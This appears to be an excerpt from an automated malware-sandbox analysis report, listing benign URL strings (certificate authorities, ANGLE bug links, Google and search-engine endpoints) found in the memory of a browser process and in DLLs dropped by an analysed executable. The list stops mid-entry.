Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825289713.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825226565.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825332907.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824094935.00001F3C01068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825258508.00001F3C00A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825289713.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825226565.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825332907.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824094935.00001F3C01068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825258508.00001F3C00A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825289713.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825226565.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825332907.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824094935.00001F3C01068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825258508.00001F3C00A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000001.00000003.1824124690.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825289713.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825226565.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824056766.00001F3C01018000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825332907.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823957803.00001F3C00F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825820425.00001F3C0116C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824094935.00001F3C01068000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824355126.00001F3C01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825633618.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825734225.00001F3C01100000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825258508.00001F3C00A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_75.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2134160345.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2129159079.000000001DDB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: IJEHCGIJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000001.00000003.1838090892.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chromecache_79.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_79.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000001.00000003.1844033495.00001F3C0140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000001.00000003.1843002907.00001F3C012E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1841219667.00001F3C01388000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.3.dr, chromecache_79.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, HCFIJKKKKKFCAAAAFBKF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: IJEHCGIJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000001.00000003.1820972298.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840606601.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843605210.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850196994.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825600063.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871004594.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000001.00000003.1820972298.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840606601.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843605210.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850196994.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825600063.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871004594.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: IJEHCGIJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: IJEHCGIJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000001.00000003.1821732666.00001F3C00ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000001.00000003.1820972298.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1840606601.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1843605210.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850196994.00001F3C00BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825600063.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871004594.00001F3C00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000001.00000003.1821192310.00001F3C00C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821158821.00001F3C00C6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820034690.00001F3C00C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825889097.00001F3C00328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825952252.00001F3C00C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1820059196.00001F3C00C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821808490.00001F3C00C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1826907001.00001F3C00C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821732666.00001F3C00ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 